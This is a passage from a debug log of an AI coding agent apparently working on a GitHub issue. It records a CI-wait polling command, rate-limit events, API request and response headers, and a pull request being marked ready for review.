sleep 10; done; cat /tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/bf11qfocy.output\",\n[2026-09-29T08:05:42.890Z] [INFO]           \"description\": \"Wait until both CI runs report\",\n[2026-09-29T08:05:42.890Z] [INFO]           \"timeout\": 600000\n[2026-09-29T08:05:42.890Z] [INFO]         },\n[2026-09-29T08:05:42.890Z] [INFO]         \"caller\": {\n[2026-09-29T08:05:42.890Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T08:05:42.890Z] [INFO]         }\n[2026-09-29T08:05:42.890Z] [INFO]       }\n[2026-09-29T08:05:42.890Z] [INFO]     ],\n[2026-09-29T08:05:42.890Z] [INFO]     \"container\": null,\n[2026-09-29T08:05:42.890Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:05:42.890Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:05:42.890Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:05:42.890Z] [INFO]     \"usage\": {\n[2026-09-29T08:05:42.890Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:05:42.890Z] [INFO]       \"cache_creation_input_tokens\": 255,\n[2026-09-29T08:05:42.890Z] [INFO]       \"cache_read_input_tokens\": 100492,\n[2026-09-29T08:05:42.890Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:05:42.890Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:05:42.890Z] [INFO]         \"ephemeral_1h_input_tokens\": 255\n[2026-09-29T08:05:42.890Z] [INFO]       },\n[2026-09-29T08:05:42.890Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T08:05:42.890Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:05:42.890Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:05:42.890Z] [INFO]     },\n[2026-09-29T08:05:42.890Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:05:42.890Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:05:42.890Z] [INFO]     \"context_management\": null\n[2026-09-29T08:05:42.890Z] [INFO]   },\n[2026-09-29T08:05:42.890Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:05:42.890Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:05:42.890Z] [INFO]   \"uuid\": \"7888c873-aa89-4376-b799-5d71ccf9435a\",\n[2026-09-29T08:05:42.890Z] [INFO]   \"timestamp\": \"2026-09-29T08:05:42.805Z\",\n[2026-09-29T08:05:42.890Z] [INFO]   \"request_id\": \"req_011CfXPJCYJewGKCNTxKFgV3\",\n[2026-09-29T08:05:42.890Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T08:05:42.890Z] [INFO]     \"toolu_01YG3xDZESjaLs9PquyHaNUu\": {\n[2026-09-29T08:05:42.890Z] [INFO]       \"command\": \"until grep -q 'exit' /tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/bf11qfocy.output 2>/dev/null && [ $(grep -c exit /tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/bf11qfocy.output) -ge 2 ]; do sleep 10; done; cat /tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/bf11qfocy.output\",\n[2026-09-29T08:05:42.890Z] [INFO]       \"description\": \"Wait until both CI runs report\",\n[2026-09-29T08:05:42.890Z] [INFO]       \"timeout\": 600000\n[2026-09-29T08:05:42.890Z] [INFO]     }\n[2026-09-29T08:05:42.890Z] [INFO]   }\n[2026-09-29T08:05:42.890Z] [INFO] }\n[2026-09-29T08:05:43.028Z] [INFO] {\n[2026-09-29T08:05:43.028Z] [INFO]   \"type\": \"rate_limit_event\",\n[2026-09-29T08:05:43.028Z] [INFO]   \"rate_limit_info\": {\n[2026-09-29T08:05:43.028Z] [INFO]     \"status\": \"allowed_warning\",\n[2026-09-29T08:05:43.028Z] [INFO]     \"resetsAt\": 1790679600,\n[2026-09-29T08:05:43.028Z] [INFO]     \"rateLimitType\": \"seven_day\",\n[2026-09-29T08:05:43.028Z] [INFO]     \"utilization\": 0.79,\n[2026-09-29T08:05:43.028Z] [INFO]     \"isUsingOverage\": false,\n[2026-09-29T08:05:43.028Z] [INFO]     \"surpassedThreshold\": 0.75,\n[2026-09-29T08:05:43.028Z] [INFO]     \"unifiedWindows\": {\n[2026-09-29T08:05:43.028Z] [INFO]       \"five_hour\": {\n[2026-09-29T08:05:43.028Z] [INFO]         \"utilization\": 0.48,\n[2026-09-29T08:05:43.028Z] [INFO]         \"resetsAt\": 1790678400\n[2026-09-29T08:05:43.028Z] [INFO]       },\n[2026-09-29T08:05:43.028Z] [INFO]       \"seven_day\": {\n[2026-09-29T08:05:43.028Z] [INFO]         \"utilization\": 0.79,\n[2026-09-29T08:05:43.028Z] [INFO]         \"resetsAt\": 1790679600\n[2026-09-29T08:05:43.028Z] [INFO]       }\n[2026-09-29T08:05:43.028Z] [INFO]     }\n[2026-09-29T08:05:43.028Z] [INFO]   },\n[2026-09-29T08:05:43.028Z] [INFO]   \"uuid\": \"94d0b294-8ef8-49ef-ac04-4d983edbc713\",\n[2026-09-29T08:05:43.028Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:05:43.028Z] [INFO] }\n[2026-09-29T08:05:46.102Z] [INFO] {\n[2026-09-29T08:05:46.102Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:05:46.102Z] [INFO]   \"subtype\": \"task_started\",\n[2026-09-29T08:05:46.102Z] [INFO]   \"task_id\": \"b8uo1cwbe\",\n[2026-09-29T08:05:46.102Z] [INFO]   \"tool_use_id\": \"toolu_01YG3xDZESjaLs9PquyHaNUu\",\n[2026-09-29T08:05:46.102Z] [INFO]   \"description\": \"Wait until both CI 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\"noOutputExpected\": false\n[2026-09-29T08:07:36.287Z] [INFO]   }\n[2026-09-29T08:07:36.287Z] [INFO] }\n[2026-09-29T08:07:36.371Z] [STDOUT] [log_973834] sending request {\n[2026-09-29T08:07:36.376Z] [STDOUT]   method: \"POST\",\n[2026-09-29T08:07:36.386Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:07:36.407Z] [STDOUT]   options: {\n[2026-09-29T08:07:36.419Z] [STDOUT]     method: \"post\",\n[2026-09-29T08:07:36.424Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T08:07:36.427Z] [STDOUT]     body: {\n[2026-09-29T08:07:36.433Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T08:07:36.438Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T08:07:36.441Z] [STDOUT]       system: [Array ...],\n[2026-09-29T08:07:36.443Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T08:07:36.447Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T08:07:36.456Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T08:07:36.462Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T08:07:36.464Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T08:07:36.468Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T08:07:36.471Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T08:07:36.473Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T08:07:36.479Z] [STDOUT]       stream: true,\n[2026-09-29T08:07:36.486Z] [STDOUT]     },\n[2026-09-29T08:07:36.490Z] [STDOUT]     timeout: 600000,\n[2026-09-29T08:07:36.493Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T08:07:36.499Z] [STDOUT]       aborted: false,\n[2026-09-29T08:07:36.508Z] [STDOUT]       reason: undefined,\n[2026-09-29T08:07:36.511Z] [STDOUT]       onabort: null,\n[2026-09-29T08:07:36.518Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T08:07:36.522Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T08:07:36.525Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T08:07:36.527Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T08:07:36.529Z] [STDOUT]     },\n[2026-09-29T08:07:36.530Z] [STDOUT]     stream: true,\n[2026-09-29T08:07:36.532Z] [STDOUT]   },\n[2026-09-29T08:07:36.536Z] [STDOUT]   headers: {\n[2026-09-29T08:07:36.539Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T08:07:36.541Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T08:07:36.544Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T08:07:36.546Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T08:07:36.548Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T08:07:36.550Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T08:07:36.554Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T08:07:36.563Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T08:07:36.569Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T08:07:36.574Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=113267\",\n[2026-09-29T08:07:36.576Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T08:07:36.578Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T08:07:36.581Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:07:36.584Z] [STDOUT]     \"x-client-request-id\": \"9a912c21-9926-4ac4-bcd5-515e423c294e\",\n[2026-09-29T08:07:36.594Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T08:07:36.598Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T08:07:36.606Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T08:07:36.609Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T08:07:36.619Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:07:36.642Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:07:36.659Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:07:36.664Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:07:36.669Z] [STDOUT]   },\n[2026-09-29T08:07:36.671Z] [STDOUT] }\n[2026-09-29T08:07:37.591Z] [STDOUT] [log_973834, request-id: \"req_011CfXPSv7M2bm3Pjq1Gvf2Q\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1220ms\n[2026-09-29T08:07:37.593Z] [STDOUT] [log_973834] response start {\n[2026-09-29T08:07:37.597Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:07:37.599Z] [STDOUT]   status: 200,\n[2026-09-29T08:07:37.603Z] [STDOUT]   headers: {\n[2026-09-29T08:07:37.614Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:07:37.620Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:07:37.627Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:07:37.632Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.49\",\n[2026-09-29T08:07:37.634Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:07:37.637Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:07:37.639Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:07:37.642Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.79\",\n[2026-09-29T08:07:37.645Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:07:37.651Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:07:37.653Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": 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url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:07:37.816Z] [STDOUT]   status: 200,\n[2026-09-29T08:07:37.818Z] [STDOUT]   body: X {\n[2026-09-29T08:07:37.820Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:07:37.822Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:07:37.825Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:07:37.827Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:07:37.828Z] [STDOUT]     },\n[2026-09-29T08:07:37.830Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:07:37.832Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:07:37.834Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:07:37.835Z] [STDOUT]   },\n[2026-09-29T08:07:37.837Z] [STDOUT]   durationMs: 1223,\n[2026-09-29T08:07:37.838Z] [STDOUT] }\n[2026-09-29T08:07:37.842Z] [INFO] {\n[2026-09-29T08:07:37.842Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:07:37.842Z] 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{\n[2026-09-29T08:07:46.651Z] [INFO]   \"type\": \"user\",\n[2026-09-29T08:07:46.651Z] [INFO]   \"message\": {\n[2026-09-29T08:07:46.651Z] [INFO]     \"role\": \"user\",\n[2026-09-29T08:07:46.651Z] [INFO]     \"content\": [\n[2026-09-29T08:07:46.651Z] [INFO]       {\n[2026-09-29T08:07:46.651Z] [INFO]         \"tool_use_id\": \"toolu_01C3VWLM7Uxpt2YLtrPTsFnM\",\n[2026-09-29T08:07:46.651Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T08:07:46.651Z] [INFO]         \"content\": \"issues/646/comments: 0\\nissues/648/comments: 0\\npulls/648/comments: 0\\npulls/648/reviews: 0\\nmain ahead: 0\\n\u2713 Pull request G-Ivan-A/hybrid-Intelligence-lab#648 is marked as \\\"ready for review\\\"\\nhttps://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/648 draft=false\",\n[2026-09-29T08:07:46.651Z] [INFO]         \"is_error\": false\n[2026-09-29T08:07:46.651Z] [INFO]       }\n[2026-09-29T08:07:46.651Z] [INFO]     ]\n[2026-09-29T08:07:46.651Z] [INFO]   },\n[2026-09-29T08:07:46.651Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:07:46.651Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:07:46.651Z] [INFO]   \"uuid\": \"cf5186a0-eaf6-486c-a952-e279371cae16\",\n[2026-09-29T08:07:46.651Z] [INFO]   \"timestamp\": \"2026-09-29T08:07:46.645Z\",\n[2026-09-29T08:07:46.651Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T08:07:46.651Z] [INFO]     \"stdout\": \"issues/646/comments: 0\\nissues/648/comments: 0\\npulls/648/comments: 0\\npulls/648/reviews: 0\\nmain ahead: 0\\n\u2713 Pull request G-Ivan-A/hybrid-Intelligence-lab#648 is marked as \\\"ready for review\\\"\\nhttps://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/648 draft=false\",\n[2026-09-29T08:07:46.651Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:07:46.651Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:07:46.651Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:07:46.651Z] [INFO]     \"noOutputExpected\": false,\n[2026-09-29T08:07:46.651Z] [INFO]     \"gitOperation\": {\n[2026-09-29T08:07:46.651Z] [INFO]       \"pr\": {\n[2026-09-29T08:07:46.651Z] [INFO]         \"number\": 648,\n[2026-09-29T08:07:46.651Z] [INFO]         \"url\": \"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/648\",\n[2026-09-29T08:07:46.651Z] [INFO]         \"action\": \"ready\"\n[2026-09-29T08:07:46.651Z] [INFO]       }\n[2026-09-29T08:07:46.651Z] [INFO]     }\n[2026-09-29T08:07:46.651Z] [INFO]   }\n[2026-09-29T08:07:46.651Z] [INFO] }\n[2026-09-29T08:07:46.745Z] [STDOUT] [log_61c772] sending request {\n[2026-09-29T08:07:46.747Z] [STDOUT]   method: \"POST\",\n[2026-09-29T08:07:46.753Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:07:46.759Z] [STDOUT]   options: {\n[2026-09-29T08:07:46.769Z] [STDOUT]     method: \"post\",\n[2026-09-29T08:07:46.774Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T08:07:46.780Z] [STDOUT]     body: {\n[2026-09-29T08:07:46.786Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T08:07:46.792Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T08:07:46.796Z] [STDOUT]       system: [Array ...],\n[2026-09-29T08:07:46.803Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T08:07:46.810Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T08:07:46.818Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T08:07:46.822Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T08:07:46.827Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T08:07:46.830Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T08:07:46.834Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T08:07:46.837Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T08:07:46.842Z] [STDOUT]       stream: true,\n[2026-09-29T08:07:46.849Z] [STDOUT]     },\n[2026-09-29T08:07:46.857Z] [STDOUT]     timeout: 600000,\n[2026-09-29T08:07:46.859Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T08:07:46.861Z] [STDOUT]       aborted: false,\n[2026-09-29T08:07:46.863Z] [STDOUT]       reason: undefined,\n[2026-09-29T08:07:46.866Z] [STDOUT]       onabort: null,\n[2026-09-29T08:07:46.868Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T08:07:46.870Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T08:07:46.872Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T08:07:46.875Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T08:07:46.877Z] [STDOUT]     },\n[2026-09-29T08:07:46.879Z] [STDOUT]     stream: true,\n[2026-09-29T08:07:46.881Z] [STDOUT]   },\n[2026-09-29T08:07:46.893Z] [STDOUT]   headers: {\n[2026-09-29T08:07:46.895Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T08:07:46.897Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T08:07:46.900Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T08:07:46.903Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T08:07:46.907Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T08:07:46.910Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T08:07:46.912Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T08:07:46.914Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T08:07:46.917Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T08:07:46.919Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=6984\",\n[2026-09-29T08:07:46.923Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T08:07:46.926Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T08:07:46.932Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:07:46.935Z] [STDOUT]     \"x-client-request-id\": \"05bcb3bf-bc33-44a9-ae83-0005b52a4af7\",\n[2026-09-29T08:07:46.939Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T08:07:46.943Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T08:07:46.947Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T08:07:46.953Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T08:07:46.955Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:07:46.957Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:07:46.959Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:07:46.961Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:07:46.963Z] [STDOUT]   },\n[2026-09-29T08:07:46.965Z] [STDOUT] }\n[2026-09-29T08:07:54.044Z] [STDOUT] [log_61c772, request-id: \"req_011CfXPTgM9AEzT9EKnpxryx\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 7300ms\n[2026-09-29T08:07:54.048Z] [STDOUT] [log_61c772] response start {\n[2026-09-29T08:07:54.055Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:07:54.063Z] [STDOUT]   status: 200,\n[2026-09-29T08:07:54.068Z] [STDOUT]   headers: {\n[2026-09-29T08:07:54.070Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:07:54.072Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:07:54.076Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:07:54.082Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.5\",\n[2026-09-29T08:07:54.084Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:07:54.089Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:07:54.099Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:07:54.103Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.79\",\n[2026-09-29T08:07:54.105Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:07:54.108Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:07:54.115Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:07:54.121Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:07:54.123Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:07:54.148Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:07:54.194Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:07:54.197Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T08:07:54.200Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:07:54.202Z] [STDOUT]     \"cf-ray\": \"a4297f052a7a5d90-FRA\",\n[2026-09-29T08:07:54.208Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T08:07:54.210Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T08:07:54.216Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:07:54.219Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:07:54.228Z] [STDOUT]     date: \"Tue, 29 Sep 2026 08:07:54 GMT\",\n[2026-09-29T08:07:54.234Z] [STDOUT]     \"request-id\": \"req_011CfXPTgM9AEzT9EKnpxryx\",\n[2026-09-29T08:07:54.238Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T08:07:54.244Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:07:54.247Z] [STDOUT]     traceresponse: \"00-4e33bf22dd9500c3df975ec5497009b8-c2e2a9cf0f0390d2-01\",\n[2026-09-29T08:07:54.249Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:07:54.261Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T08:07:54.277Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T08:07:54.285Z] [STDOUT]   },\n[2026-09-29T08:07:54.291Z] [STDOUT]   durationMs: 7300,\n[2026-09-29T08:07:54.293Z] [STDOUT] }\n[2026-09-29T08:07:54.296Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T08:07:54.299Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 08:07:54 GMT\",\n[2026-09-29T08:07:54.303Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:07:54.305Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:07:54.309Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:07:54.316Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:07:54.321Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:07:54.323Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:07:54.326Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:07:54.331Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:07:54.334Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:07:54.337Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:07:54.342Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:07:54.345Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:07:54.348Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.5\",\n[2026-09-29T08:07:54.352Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:07:54.355Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:07:54.363Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:07:54.366Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:07:54.369Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:07:54.372Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:07:54.374Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.79\",\n[2026-09-29T08:07:54.376Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:07:54.381Z] [STDOUT]   \"request-id\": \"req_011CfXPTgM9AEzT9EKnpxryx\",\n[2026-09-29T08:07:54.384Z] [STDOUT]   \"traceresponse\": 